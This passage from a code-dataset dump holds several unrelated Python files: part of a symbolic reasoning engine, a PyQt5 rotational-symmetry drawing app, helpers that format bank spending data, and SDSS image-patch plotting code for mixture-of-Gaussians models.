name=='':\r\n return \"实链节\"\r\n elif name[0]=='_':\r\n return \"实万用链节\"\r\n elif name[0]=='~':\r\n return \"实否定链节\"\r\n elif name[0]=='[' and name[-1]==']':\r\n return \"虚链节\"\r\n return \"实链节\"\r\n\r\n def isFunctionPoint(self):\r\n if self.m_symbol.m_name=='':\r\n return 0\r\n elif self.m_symbol.m_name=='[eq]' or self.m_symbol.m_name=='[同名]':\r\n return 1\r\n elif self.m_symbol.m_name=='[is]' or self.m_symbol.m_name=='[是]':\r\n return 1\r\n elif self.m_symbol.m_name=='[]':\r\n return 1\r\n elif self.m_symbol.m_name[0]=='[' and self.m_symbol.m_name[-1]==']':\r\n return 2\r\n return 0\r\n\r\n def Reason_iterative(self,pool,show=False,order=None,list_new=None,areaType=True):\r\n # order records the order of mapping.\r\n if list_new==None:\r\n list_new=[]\r\n if self.m_no==True:\r\n areaType=not areaType\r\n if order!=None:\r\n order.append([order[-1][0]+1,self.m_symbol.m_name])\r\n #print(order)\r\n while True:\r\n #Stage 1\r\n self.m_stage=1\r\n self.m_reState=''\r\n if show:\r\n print('Begin:')\r\n print(self.m_symbol.m_name)\r\n self.newMap(pool,areaType,list_new)\r\n if show and self.m_map!=None:\r\n print('\\''+self.m_symbol.m_name+'\\''+'Stage 0: Have a new map(',self.stateSelf(),')')\r\n print(self.m_map,':',self.m_map.m_name)\r\n if self.stateRelation()==False:\r\n continue\r\n if self.stateSelf()=='red':\r\n continue\r\n if self.stateSelf()=='yellow':\r\n if show:\r\n print('\\''+self.m_symbol.m_name+'\\''+'Stage 3: Output final state:')\r\n if self.m_no==False:\r\n print('dark yellow')\r\n else:\r\n print('dark green')\r\n if self.m_no==False:\r\n self.m_stage=5\r\n self.m_reState='dark yellow'\r\n return ['dark yellow',pool,list_new]\r\n else:\r\n self.m_stage=5\r\n self.m_reState='dark green'\r\n return ['dark green',pool,list_new]\r\n if show:\r\n print('\\''+self.m_symbol.m_name+'\\''+'Stage 1: Check map state:')\r\n print(self.stateSelf())\r\n\r\n # Stage 2\r\n self.m_stage=2\r\n self.m_reState=''\r\n if self.m_clause==[]:\r\n choose=True\r\n else:\r\n choose=self.m_clauseAnd\r\n for clause in self.m_clause:\r\n [state_re,pool,list_new]=clause.Reason_iterative(pool,show,order,list_new,areaType)\r\n if order!=None:\r\n order.append([order[-1][0]-1,self.m_symbol.m_name])\r\n if self.m_clauseAnd==True:\r\n if state_re=='dark yellow':\r\n choose=False\r\n break\r\n else:\r\n if state_re=='dark green':\r\n choose=True\r\n break\r\n \r\n if show:\r\n print('\\''+self.m_symbol.m_name+'\\''+'Stage 2: Choose No-end or Yes-end:')\r\n if choose:\r\n print('Yes')\r\n else:\r\n print('No')\r\n\r\n # Stage 3\r\n self.m_stage=3\r\n self.m_reState=''\r\n if choose==False:\r\n if self.m_noe!=[]:\r\n result=self.m_noAnd\r\n for end in self.m_noe:\r\n [state_re,pool,list_new]=end.Reason_iterative(pool,show,order,list_new,areaType)\r\n if order!=None:\r\n order.append([order[-1][0]-1,self.m_symbol.m_name])\r\n\r\n if self.m_noAnd==True:\r\n if state_re=='dark yellow':\r\n result=False\r\n break\r\n else:\r\n if state_re=='dark green':\r\n result=True\r\n break\r\n else:\r\n result=False\r\n\r\n if result==False:\r\n continue\r\n\r\n if choose==True:\r\n if self.m_yese!=[]:\r\n result=self.m_yesAnd\r\n for end in self.m_yese:\r\n [state_re,pool,list_new]=end.Reason_iterative(pool,show,order,list_new,areaType)\r\n if order!=None:\r\n order.append([order[-1][0]-1,self.m_symbol.m_name])\r\n if self.m_yesAnd==True:\r\n if state_re=='dark yellow':\r\n result=False\r\n break\r\n else:\r\n if state_re=='dark green':\r\n result=True\r\n break\r\n elif self.m_noe!=[]:\r\n result=False\r\n else:\r\n result=True\r\n\r\n if result==False:\r\n continue\r\n\r\n if show:\r\n print('\\''+self.m_symbol.m_name+'\\''+'Stage 3: Output final state:')\r\n if self.m_no:\r\n print('dark yellow')\r\n else:\r\n print('dark green')\r\n \r\n\r\n #Stage 4\r\n self.m_stage=4\r\n self.m_reState=''\r\n if self.m_buildMode==True and self.m_map!=None:\r\n list_pt=pool.get(self.m_map.m_name,[])\r\n list_pt.append(self.m_map)\r\n pool.update({self.m_map.m_name:list_pt})\r\n list_new.append(self.m_map)\r\n\r\n if self.m_no==True:\r\n self.m_stage=5\r\n self.m_reState='dark yellow'\r\n return ['dark yellow',pool,list_new]\r\n else:\r\n self.m_stage=5\r\n self.m_reState='dark green'\r\n return ['dark green',pool,list_new]\r\n\r\n def isChosen(self):\r\n if self.m_cause==None:\r\n return False\r\n if self.m_cause.m_choose==False:\r\n return self in self.m_cause.m_noe\r\n else:\r\n return self in self.m_cause.m_yese\r\n\r\n def Reason_oneStep(self,pool):\r\n list_new=[]\r\n areaType=self.areaType()\r\n change=False\r\n \r\n if self.m_stage==0:\r\n if self.m_cause!=None:\r\n if self in self.m_cause.m_clause:\r\n if self.m_cause.m_stage==2:\r\n self.m_stage=1\r\n change=True\r\n else:\r\n if self.m_cause.m_stage==3 and self.isChosen():\r\n self.m_stage=1\r\n change=True\r\n # print(self.m_symbol.info(),'start!','The choose of the cause is:',self.m_cause.m_choose)\r\n\r\n if self.m_stage==1:\r\n while True:\r\n if self.stateSelf()!='blue':\r\n self.newMap(pool,areaType,list_new)\r\n else:\r\n self.m_interp=False\r\n # if self.m_map!=None:\r\n # print('Map:',self.m_map.info(),self.stateSelf())\r\n change=True\r\n if self.stateRelation()==False:\r\n continue\r\n elif self.stateSelf()=='red':\r\n continue\r\n elif self.stateSelf()=='yellow':\r\n self.m_stage=5\r\n if self.m_no==False:\r\n self.m_reState='dark yellow'\r\n return [change,list_new]\r\n else:\r\n self.m_reState='dark green'\r\n return [change,list_new]\r\n elif self.stateSelf()=='blue':\r\n self.m_stage=1\r\n return [change,list_new]\r\n else:\r\n self.m_stage=2\r\n break\r\n\r\n if self.m_stage==2:\r\n if self.m_clause==[]:\r\n self.m_choose=True\r\n self.m_stage=3\r\n change=True\r\n else:\r\n self.m_choose=self.m_clauseAnd\r\n keep=False\r\n for clause in self.m_clause:\r\n if self.m_clauseAnd==True:\r\n if clause.m_reState=='dark yellow':\r\n self.m_choose=False\r\n self.m_stage=3\r\n change=True\r\n break\r\n elif clause.m_reState=='':\r\n keep=True\r\n else:\r\n if clause.m_reState=='dark green':\r\n self.m_choose=True\r\n self.m_stage=3\r\n change=True\r\n break\r\n elif clause.m_reState=='':\r\n keep=True\r\n if self.m_clause!=[] and keep==False:\r\n self.m_stage=3\r\n change=True\r\n\r\n if self.m_stage==3:\r\n # print(self.m_symbol.info(),'End type:',self.m_yesAnd)\r\n if self.m_choose==False:\r\n if self.m_noe==[]:\r\n self.m_stage=1\r\n change=True\r\n return [change,list_new]\r\n keep=False\r\n for end in self.m_noe:\r\n if end.m_reState=='':\r\n keep=True\r\n elif self.m_noAnd==True:\r\n if end.m_reState=='dark yellow':\r\n self.m_stage=1\r\n change=True\r\n return [change,list_new]\r\n else:\r\n if end.m_reState=='dark green':\r\n self.m_stage=4\r\n change=True\r\n break\r\n if self.m_stage==3 and keep==False:\r\n if self.m_noAnd==True:\r\n self.m_stage==4\r\n change=True\r\n else:\r\n self.m_stage=1\r\n change=True\r\n return [change,list_new]\r\n else:\r\n if self.m_yese==[] and self.m_noe==[]:\r\n self.m_stage=4\r\n change=True\r\n elif self.m_yese==[]:\r\n self.m_stage=1\r\n change=True\r\n return [change,list_new]\r\n else:\r\n keep=False\r\n for end in self.m_yese:\r\n if end.m_reState=='':\r\n keep=True\r\n elif self.m_yesAnd==True:\r\n if end.m_reState=='dark yellow':\r\n self.m_stage=1\r\n change=True\r\n return [change,list_new]\r\n else:\r\n if end.m_reState=='dark green':\r\n self.m_stage=4\r\n change=True\r\n break\r\n if keep==False and self.m_stage==3:\r\n if self.m_yesAnd:\r\n self.m_stage=4\r\n change=True\r\n else:\r\n self.m_stage=1\r\n change=True\r\n return [change,list_new]\r\n\r\n if self.m_stage==4:\r\n if (self.m_buildMode==True or self.isFunctionPoint()==1) and self.m_map!=None:\r\n list_new.append(self.m_map)\r\n self.m_stage=5\r\n if self.m_no==True:\r\n self.m_reState='dark yellow'\r\n change=True\r\n return [change,list_new]\r\n else:\r\n self.m_reState='dark green'\r\n change=True\r\n return [change,list_new]\r\n\r\n return [change,list_new]\r\n\r\n def areaType(self):\r\n aType=True\r\n cause=self\r\n while True:\r\n if cause.m_no==True:\r\n aType=not aType\r\n if cause.m_cause==None:\r\n return aType\r\n else:\r\n cause=cause.m_cause\r\n \r\n\r\n def build(self,code,points):\r\n wait_list=[]\r\n last=self\r\n connection=None\r\n exp='(->>|=>>|->|=>|{[ \\t\\n]*|[ \\t\\n]*}|,[ \\t\\n]*|;[ \\t\\n]*|:[ \\t\\n]*)'\r\n units=re.split(exp,code)\r\n for unit in units:\r\n if unit=='':\r\n continue\r\n elif unit=='->' or unit=='=>' or unit=='->>' or unit=='=>>':\r\n connection=unit\r\n elif unit[0]=='{':\r\n wait_list.append(['clause_splitting',last])\r\n elif unit[0]==':':\r\n wait_list.append(['end_splitting',last])\r\n elif unit[0]==',':\r\n last=wait_list[-1][1]\r\n elif unit[0]==';':\r\n if wait_list[-1][0]=='end_splitting':\r\n wait_list.pop()\r\n if wait_list!=[]:\r\n last=wait_list[-1][1]\r\n elif unit[-1]=='}':\r\n last=wait_list[-1][1]\r\n wait_list.pop()\r\n else:\r\n current=Karma(points[int(unit)])\r\n current.m_cause=last\r\n if connection=='->':\r\n current.m_no=False\r\n last.m_yese.append(current)\r\n elif connection=='->>':\r\n current.m_no=False\r\n last.m_noe.append(current)\r\n elif connection=='=>':\r\n current.m_no=True\r\n last.m_yese.append(current)\r\n elif connection=='=>>':\r\n current.m_no=True\r\n last.m_noe.append(current)\r\n else:\r\n last.m_clause.append(current)\r\n connection=''\r\n last=current\r\n print(wait_list)\r\n\r\n def info_cause(self):\r\n info=''\r\n karma=self\r\n while True:\r\n if karma.m_symbol!=None:\r\n info=karma.m_symbol.m_name+info\r\n if karma.m_cause==None:\r\n break\r\n if karma in karma.m_cause.m_yese:\r\n if karma.m_no==True:\r\n info='=>'+info\r\n else:\r\n info='->'+info\r\n elif karma in karma.m_cause.m_noe:\r\n if karma.m_no==True:\r\n info='=>>'+info\r\n else:\r\n info='->>'+info\r\n elif karma in karma.m_cause.m_clause:\r\n info='=='+info\r\n karma=karma.m_cause\r\n print(info)\r\n return info\r\n\r\n def allEffects(self):\r\n list_effects=[self]\r\n for karma in self.m_clause:\r\n list_effects+=karma.allEffects()\r\n for karma in self.m_noe:\r\n list_effects+=karma.allEffects()\r\n for karma in self.m_yese:\r\n list_effects+=karma.allEffects()\r\n # list_effects.append(self)\r\n return list_effects\r\n\r\n def setAllBuildMode(self,mode,list_km):\r\n self.m_buildMode=mode\r\n for point in self.m_symbol.m_con:\r\n for karma in list_km:\r\n if karma.m_symbol==point:\r\n karma.setAllBuildMode(mode,list_km)\r\n\r\n # one of causes provides map pool for this karma\r\n def setRangers(self,causes=None):\r\n connecting=None\r\n connected=None\r\n order=0\r\n if causes==None:\r\n causes=[]\r\n # elif self.m_buildMode!=True and self.m_symbol.m_name!='[]' and self.m_symbol.m_name!='[eq]' and self.m_symbol.m_name!='[同名]'\\\r\n # and self.m_symbol.m_name!='[is]' and self.m_symbol.m_name!='[是]':\r\n # word(,)\r\n elif self.m_buildMode!=True and self.isFunctionPoint()==0:\r\n for cause in causes:\r\n # [pt]->word\r\n if cause.isFunctionPoint()!=0:\r\n # [pt]->word([pt],)\r\n if self.m_symbol.m_db[0]==cause.m_symbol or self.m_symbol.m_db[1]==cause.m_symbol:\r\n connecting=cause\r\n connected=None\r\n break\r\n elif cause.m_buildMode==True and order<1:\r\n # +cause(,self)->self(,)\r\n if cause.m_symbol.m_db[0]==self.m_symbol or cause.m_symbol.m_db[1]==self.m_symbol:\r\n connected=cause\r\n order=1\r\n # +cause(,)->self(,cause)\r\n elif self.m_symbol.m_db[0]==cause.m_symbol or self.m_symbol.m_db[1]==cause.m_symbol:\r\n connecting=cause\r\n # cause->self\r\n elif order<2:\r\n if cause.m_symbol.m_db[0]==self.m_symbol or cause.m_symbol.m_db[1]==self.m_symbol:\r\n connected=cause\r\n order=2\r\n elif self.m_symbol.m_db[0]==cause.m_symbol or self.m_symbol.m_db[1]==cause.m_symbol:\r\n connecting=cause\r\n if connected!=None:\r\n self.m_ranger=connected\r\n elif connecting!=None:\r\n self.m_ranger=connecting\r\n self.m_rangType=True\r\n \r\n # set next one except for [eq], and buildMode==True\r\n # if self.m_buildMode!=True and self.m_symbol.m_name!='' and self.m_symbol.m_name!='[eq]' and self.m_symbol.m_name!='[同名]':\r\n # if self.isFunctionPoint()==0 and self.m_buildMode!=True:\r\n # if self.isFunctionPoint()==0: # a building point can be a ranger of an another point(Why?)(May because of new point can be a answer point)\r\n causes=causes[:]+[self]\r\n\r\n for con in self.m_clause:\r\n # for cause in causes:\r\n # cause.m_symbol.print()\r\n con.setRangers(causes)\r\n for end in self.m_yese:\r\n end.setRangers(causes)\r\n for end in self.m_noe:\r\n end.setRangers(causes)\r\n\r\n def info_karma(self,info='',head=0):\r\n if self.m_ranger!=None:\r\n ranger=self.m_ranger.m_symbol.info(1)\r\n info+='['+ranger+']'\r\n head+=len(ranger)+2\r\n if self.m_buildMode==True:\r\n info+='+'\r\n head+=1\r\n \r\n info+=self.m_symbol.info(1)\r\n head+=len(self.m_symbol.info(1))\r\n\r\n if self.m_clause!=[]:\r\n info+='{'\r\n head+=1\r\n for clause in self.m_clause:\r\n info+='\\n'+''.rjust(head)\r\n info=clause.info_karma(info,head)\r\n info+='\\n'+'}'.rjust(head-1)\r\n n=0\r\n for end in self.m_yese:\r\n if n==0:\r\n if end.m_no==False:\r\n info+='->'\r\n else:\r\n info+='=>'\r\n info=end.info_karma(info,head+2)\r\n n+=1\r\n else:\r\n if end.m_no==False:\r\n info+='\\n'+'->'.rjust(head+2)\r\n else:\r\n info+='\\n'+'=>'.rjust(head+2)\r\n info=end.info_karma(info,head)\r\n for end in self.m_noe:\r\n if n==0:\r\n if end.m_no==False:\r\n info+='->>'\r\n else:\r\n info+='=>>'\r\n info=end.info_karma(info,head+3)\r\n n+=1\r\n else:\r\n if end.m_no==False:\r\n info+='\\n'+'->>'.rjust(head+3)\r\n else:\r\n info+='\\n'+'=>>'.rjust(head+3)\r\n info=end.info_karma(info,head)\r\n\r\n return info\r\n \r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\nif __name__=='__main__':\r\n points=[NetP('0'),NetP('1'),NetP('2'),NetP('3'),NetP('4'),NetP('5'),NetP('6'),NetP('7'),NetP('8'),NetP('9')]\r\n test=Karma(NetP('[self]'))\r\n \r\n f=open('test\\\\test.txt')\r\n code=f.read()\r\n test.build(code,points)\r\n points[9].m_master.info_cause()\r\n list_effect=test.allEffects()\r\n print(test.info_karma())","repo_name":"XiantaoCheng/Structure","sub_path":"body/soul.py","file_name":"soul.py","file_ext":"py","file_size_in_byte":33073,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"7928708704","text":"from PyQt5 import QtWidgets as qw\nfrom PyQt5 import QtCore as qc\nfrom PyQt5 import QtGui as qg\nfrom Point3D import Point3D\n\n\nclass Pane(qw.QLabel):\n def __init__(self, parent):\n super().__init__()\n self.parent = parent\n self.color = qc.Qt.white\n self.thickness = 3\n self.grid = False\n self.k = 24\n # default value is false - means track mouse only when at least one button is pressed\n print(parent.parent)\n print(self)\n print(self.width(), self.height())\n print(parent.parent)\n print(parent.width(), parent.height())\n self.ebene_background = qg.QPixmap(parent.parent.width(), parent.parent.height())\n self.ebene_background.fill(qg.QColor(0, 0, 0))\n\n self.ebene_pane = qg.QPixmap(parent.parent.width(), parent.parent.height())\n self.ebene_pane.fill(qg.QColor(0, 0, 0, 0))\n\n self.ebene_total = qg.QPixmap(parent.parent.width(), parent.parent.height())\n self.ebene_total.fill(qg.QColor(0, 0, 0, 0))\n\n\n self.painter_bg = qg.QPainter(self.ebene_background)\n self.painter_pane = qg.QPainter(self.ebene_pane)\n self.painter_total = qg.QPainter(self.ebene_total)\n\n self.paths = []\n self.path = []\n for i in range(self.k):\n self.paths.append([])\n self.path.append([])\n\n #self.create_bg()\n\n self.update()\n\n def __repr__(self):\n return str(\"Pane\")\n\n def create_bg(self):\n #print(self.parent)\n center_x = self.parent.width()//2\n center_y = (self.parent.height()-30)//2\n #print(center_x,center_y)\n\n\n self.painter_bg.setPen(qg.QPen(qc.Qt.white, 0.5, qc.Qt.SolidLine))\n #self.painter_bg.drawLine(0, 0, 100, 100)\n center = Point3D(center_x, center_y, 0)\n a = Point3D(center_x, center_y - 2000, 0)\n for k in range(1,self.k+1):\n degree = k*360/self.k\n point = a.make_vector(center)\n b = point.rotateZ(degree) + center\n if self.grid:\n self.painter_bg.drawLine(center.x, center.y, b.x, b.y)\n\n if self.grid:\n self.painter_bg.drawPoint(center_x,center_y)\n\n def transpose(self,x,y,k):\n center_x = self.parent.width() // 2\n center_y = (self.parent.height() - 30) // 2\n self.painter_bg.setPen(qg.QPen(qc.Qt.white, 0.5, qc.Qt.SolidLine))\n\n center = Point3D(center_x, center_y, 0)\n a = Point3D(x, y, 0)\n degree = k * 360 / self.k\n point = a.make_vector(center)\n if self.k%2 == 0:\n b = point.rotateZ(degree) + center\n else:\n b = - point.rotateZ(degree) + center\n c = Point3D(b.x,b.y,b.z)\n return c\n\n def update(self):\n for i in range(self.k):\n if len(self.paths) == 0:\n return\n if len(self.paths[i]) != 0:\n path = self.paths[i][-1][0]\n thickness = self.paths[i][-1][1]\n self.painter_pane.setPen(qg.QPen(self.color, thickness, qc.Qt.SolidLine))\n self.painter_pane.drawPath(path)\n\n \"\"\"if len(self.paths2) != 0:\n path = self.paths2[-1][0]\n thickness = self.paths2[-1][1]\n self.painter_pane.setPen(qg.QPen(qc.Qt.gray, thickness, qc.Qt.SolidLine))\n self.painter_pane.drawPath(path)\"\"\"\n\n '''for i in range(len(self.paths)):\n path = self.paths[i][0]\n thickness = self.paths[i][1]\n self.painter_pane.setPen(qg.QPen(qc.Qt.gray, thickness, qc.Qt.SolidLine))\n self.painter_pane.drawPath(path)'''\n\n self.painter_total.drawPixmap(0, 0, self.ebene_background)\n self.painter_total.drawPixmap(0, 0, self.ebene_pane)\n self.setPixmap(self.ebene_total)\n\n def mousePressEvent(self, event):\n x = event.pos().x()\n y = event.pos().y() + 30\n for i in range(self.k):\n self.path[i] = qg.QPainterPath()\n #self.path2 = qg.QPainterPath()\n\n self.paths[i].append([self.path[i], self.thickness])\n #self.paths2.append([self.path2, self.thickness])\n\n #self.path[i].moveTo(x, y)\n #print(\"original: \",x,y)\n b = self.transpose(x,y,i)\n #print(\"b: \", b.x, b.y)\n\n self.path[i].moveTo(b.x, b.y)\n\n self.update()\n\n def mouseMoveEvent(self, event):\n x = event.pos().x()\n y = event.pos().y() + 30\n for i in range(self.k):\n #self.path[i].lineTo(x,y)\n b = self.transpose(x, y, i)\n self.path[i].lineTo(b.x, b.y)\n #self.newPoint.emit(event.pos())\n self.update()\n\n\nclass DrawWidget(qw.QWidget):\n def __init__(self,parent):\n qw.QWidget.__init__(self, parent)\n self.parent = parent\n self.setLayout(qw.QVBoxLayout())\n self.layout().setSpacing(0)\n\n self.draw = Pane(self)\n #label = qw.QLabel(self)\n #label.setFixedHeight(25)\n\n hbox = qw.QHBoxLayout()\n #hbox.maximumSize(25)\n gr1 = qw.QButtonGroup()\n b_thickness1 = qw.QRadioButton(\"1\")\n b_thickness1.toggled.connect(lambda: self.btnstate(b_thickness1))\n b_thickness2 = qw.QRadioButton(\"3\")\n b_thickness2.toggled.connect(lambda: self.btnstate(b_thickness2))\n b_thickness3 = qw.QRadioButton(\"5\")\n b_thickness3.toggled.connect(lambda: self.btnstate(b_thickness3))\n b_newgame = qw.QPushButton(\"Erase\")\n b_newgame.setFixedSize(qc.QSize(60,27))\n #b_newgame.setStyleSheet(\"size: 15 x 2\")\n b_newgame.clicked.connect(self.on_click_b_newgame)\n gr1.addButton(b_thickness1)\n gr1.addButton(b_thickness2)\n gr1.addButton(b_thickness3)\n\n hbox.addWidget(b_thickness1)\n hbox.addWidget(b_thickness2)\n hbox.addWidget(b_thickness3)\n\n self.grid = qw.QCheckBox(\"Grid\")\n self.grid.clicked.connect(self.on_click_grid)\n print(self.grid.isChecked())\n\n hbox.addWidget(self.grid)\n hbox.addWidget(b_newgame)\n\n\n b_thickness2.setChecked(True)\n\n colorBox = qw.QComboBox(self)\n colorBox.addItem(\"white\")\n colorBox.addItem(\"red\")\n colorBox.addItem(\"green\")\n colorBox.addItem(\"blue\")\n colorBox.addItem(\"cyan\")\n colorBox.addItem(\"yellow\")\n colorBox.activated[str].connect(self.style_choise)\n\n kBox = qw.QComboBox(self)\n kBox.addItem(\"1\")\n kBox.addItem(\"7\")\n kBox.addItem(\"8\")\n kBox.addItem(\"17\")\n kBox.addItem(\"18\")\n kBox.addItem(\"24\")\n kBox.activated[str].connect(self.k_choise)\n kBox.setCurrentText(\"24\")\n\n hbox.addWidget(colorBox)\n hbox.addWidget(kBox)\n hbox.addStretch(1)\n\n self.layout().addLayout(hbox)\n\n #label.setStyleSheet(\"QLabel { background-color : rgb(150,150,150); color : blue; }\")\n #draw.newPoint.connect(lambda p: label.setText('Coordinates (%d, %d)' %(p.x(),p.y())))\n self.layout().addWidget(self.draw)\n\n def __repr__(self):\n return str(\"DrawWidget\")\n\n def style_choise(self,text):\n if text == \"red\":\n self.draw.color = qc.Qt.red\n elif text == \"white\":\n self.draw.color = qc.Qt.white\n elif text == \"green\":\n self.draw.color = qc.Qt.green\n elif text == \"blue\":\n self.draw.color = qc.Qt.blue\n elif text == \"cyan\":\n self.draw.color = qc.Qt.cyan\n elif text == \"yellow\":\n self.draw.color = qc.Qt.yellow\n\n def k_choise(self, text):\n if text == \"1\":\n self.draw.k = 1\n elif text == \"7\":\n self.draw.k = 7\n elif text == \"8\":\n self.draw.k = 8\n elif text == \"17\":\n self.draw.k = 17\n elif text == \"18\":\n self.draw.k = 18\n elif text == \"24\":\n self.draw.k = 24\n\n def on_click_grid(self):\n self.draw.grid = self.grid.isChecked()\n self.draw.ebene_background.fill(qg.QColor(0, 0, 0))\n self.draw.create_bg()\n self.draw.update()\n\n\n def on_click_b_newgame(self):\n self.draw.ebene_pane.fill(qg.QColor(0, 0, 0, 0))\n self.draw.ebene_background.fill(qg.QColor(0, 0, 0))\n\n self.draw.paths = []\n #self.draw.paths2 = []\n\n self.draw.path = []\n #self.draw.path2 = qg.QPainterPath()\n for i in range(self.draw.k):\n self.draw.paths.append([])\n self.draw.path.append([])\n\n self.draw.create_bg()\n self.draw.update()\n\n def btnstate(self, b):\n self.draw.thickness = int(b.text())","repo_name":"Elki007/MMaR","sub_path":"Project2_04_Symmetrien/Draw2.py","file_name":"Draw2.py","file_ext":"py","file_size_in_byte":8642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"4477578668","text":"def get_highest_spend_category_per_period(data):\n highest_spend_category_per_period_labels = []\n highest_spend_category_per_period_data = []\n\n for item in data:\n highest_spend_category_per_period_labels.append(str(item[2] + \" - \" + str(item[1])\n .capitalize().replace(\"_\", \" \")))\n highest_spend_category_per_period_data.append(str(item[0]))\n\n return[highest_spend_category_per_period_labels, highest_spend_category_per_period_data]\n\n\ndef get_net_spends(data):\n net_spend_labels = []\n net_spend_data = []\n\n for item in data:\n net_spend_labels.append(item[\"period\"])\n net_spend_data.append(item[\"net_spend\"])\n\n return [net_spend_labels, net_spend_data]\n\n\ndef get_balance(data):\n return \"£\" + str(int(data[\"clearedBalance\"][\"minorUnits\"])/100)\n\n\ndef get_spend_by_category_this_month(data):\n spend_by_category_this_month_labels = []\n spend_by_category_this_month_data = []\n\n for item in data:\n spend_by_category_this_month_labels.append(item[1].replace(\"_\", \" \").capitalize())\n spend_by_category_this_month_data.append(item[0])\n\n return [spend_by_category_this_month_labels, spend_by_category_this_month_data]\n\n\ndef get_spend_per_party_this_month(data):\n spend_per_party_this_month_labels = []\n spend_per_party_this_month_data = []\n\n for item in data:\n spend_per_party_this_month_labels.append(item[\"counterPartyName\"])\n spend_per_party_this_month_data.append(item[\"netSpend\"])\n\n return [spend_per_party_this_month_labels, spend_per_party_this_month_data]","repo_name":"Leolebleis/starling-insights-script","sub_path":"gmail/data_dispenser.py","file_name":"data_dispenser.py","file_ext":"py","file_size_in_byte":1618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"32812814634","text":"import sdss\nimport mog\nimport time\n\nimport numpy as np\nimport matplotlib.pyplot as pl\nimport pyfits as pf\n\nfrom numpy.linalg import svd\nfrom matplotlib.colors import LogNorm\nfrom matplotlib.backends.backend_pdf import PdfPages\nfrom numpy.lib.stride_tricks import as_strided as ast\n\nfrom matplotlib import rc\nrc('font',**{'family':'serif','serif':'Computer Modern Roman','size':10})\nrc('text', usetex=True)\n\n\ndef fig_eigen(mix,kmeans,filename):\n \"\"\"\n Plot mean and eigenvector patches for each\n component of MOG, out to single PDF\n \"\"\"\n if filename[-4:]!='.pdf' : filename += '.pdf'\n pp = PdfPages(filename)\n\n pshape = (np.sqrt(len(mix.means[0].ravel())),\n np.sqrt(len(mix.means[0].ravel())))\n L = pshape[0]\n factor = 2.0 # size of one side of one panel\n lbdim = 0.5 * factor # size of left/bottom margin\n trdim = 0.5 * factor # size of top/right margin\n whspace = 0.05 # w/hspace size\n plotdim = factor * L + factor * (L - 1.) * whspace\n dim = lbdim + plotdim + trdim\n lb = lbdim / dim\n tr = (lbdim + plotdim) / dim\n pl.gray()\n\n for k in range(mix.means.shape[0]):\n fig = pl.figure(figsize=(dim, dim + L))\n fig.subplots_adjust(left=lb, bottom=lb, right=tr, top=tr,\n wspace=whspace, hspace=whspace)\n\n # write mean patches\n mpatch = mix.means[k].reshape(pshape)\n kmpatch = kmeans[k,:].reshape(pshape)\n ax = fig.add_subplot(L+1,L,L)\n ax.imshow(kmpatch,origin='lower',interpolation='nearest')\n ax.set_xticklabels([])\n ax.set_yticklabels([])\n ax.text(0.5,1.1,'Initial Mean',\n transform=ax.transAxes,ha='center',va='center')\n ax = fig.add_subplot(L+1,L,1)\n ax.imshow(mpatch,origin='lower',interpolation='nearest')\n ax.set_xticklabels([])\n ax.set_yticklabels([])\n ax.text(0.5,1.1,'Final Mean',\n transform=ax.transAxes,ha='center',va='center')\n\n\n # write some info\n ax = fig.add_subplot(L+1,L,3)\n ax.set_axis_off()\n ax.text(0.0,0.5,'Component = %d' % k,\n transform=ax.transAxes,ha='left',va='center',\n fontsize=20)\n ax = fig.add_subplot(L+1,L,6)\n ax.set_axis_off()\n ax.text(0.0,0.5,'Amp = %1.2e' % mix.amps[k],\n transform=ax.transAxes,ha='left',va='center',\n fontsize=20)\n \n u,s,v = svd(mix.cov[k])\n\n # write eigenvector patches\n for ii in range(pshape[0]**2):\n ax = fig.add_subplot(L+1,L,L+ii+1)\n ax.imshow(u[ii,:].reshape(pshape),origin='lower',interpolation='nearest')\n ax.set_xticklabels([])\n ax.set_yticklabels([])\n ax.text(0.5,1.1,'Eigval = %1.3e' % s[ii],\n transform=ax.transAxes,ha='center',va='center')\n pp.savefig()\n\n pp.close()\n\n\ndef fig_patches(mix,patches,filename):\n \"\"\"\n Plot patches. For each patch, report likelihood,\n posterior under best component, and total likelihood\n under model.\n \"\"\"\n if type(patches)!=int:\n Npatches = np.sqrt(len(patches[0,:]))\n inds = np.random.randint(0,len(patches[:,0]),64)\n else:\n Npatches = patches\n\n pshape = (np.sqrt(len(mix.means[0].ravel())),\n np.sqrt(len(mix.means[0].ravel())))\n factor = 2.0 # size of one side of one panel\n lbdim = 0.5 * factor # size of left/bottom margin\n trdim = 0.5 * factor # size of top/right margin\n wspace = 0.05 # wspace size\n hspace = 0.1 # hspace size\n wdim = factor * Npatches + factor * (Npatches - 1.) * wspace + lbdim + trdim\n hdim = factor * Npatches + factor * (Npatches - 1.) * hspace + lbdim + trdim\n fig = pl.figure(figsize=(wdim, hdim))\n fig.subplots_adjust(left=lbdim/wdim, bottom=lbdim/hdim,\n right=(wdim-trdim)/wdim,\n top=(hdim-trdim)/hdim,\n wspace=wspace, hspace=hspace)\n pl.gray()\n\n mix.means = mix.means.T\n Nk = len(mix.means[0,:])\n\n for ii in range(Npatches**2):\n if type(patches)==int:\n t = [np.random.multivariate_normal(mix.means[:,k].ravel(),mix.cov[k]) \\\n * mix.amps[k] for k in range(Nk)]\n t = np.array(t)\n patch = t.sum(axis=0)\n\n else:\n patch = patches[inds[ii],:]\n\n logL, rs = mix._calc_prob(np.array([patch]))\n loglikes = [mix._log_multi_gauss(k,np.array([patch])) for k in range(Nk)]\n loglikes = np.array(loglikes).flatten()\n bestlike = np.argsort(loglikes)\n \n ax = fig.add_subplot(Npatches,Npatches,ii+1)\n ax.imshow(patch.reshape(pshape),origin='lower',interpolation='nearest')\n ax.set_xticklabels([])\n ax.set_yticklabels([])\n ax.text(0.0,1.05,'$\\ln(p(D))$ = %1.1e' % (logL),\n transform=ax.transAxes,ha='left',va='center')\n ax.text(0.0,1.15,'$\\ln(p(D|k=%d))$ = %1.1e' % (bestlike[-1],loglikes[bestlike[-1]]),\n transform=ax.transAxes,ha='left',va='center')\n\n if filename[-4:]!='.pdf' : filename += '.pdf'\n fig.savefig(filename,format='pdf')\n\n\ndef make_patch_examples(run,camcol,field,outname):\n\n # get data using tractor call\n data,invvar = get_sdss_data(run,camcol,field)\n\n # create array of patches\n 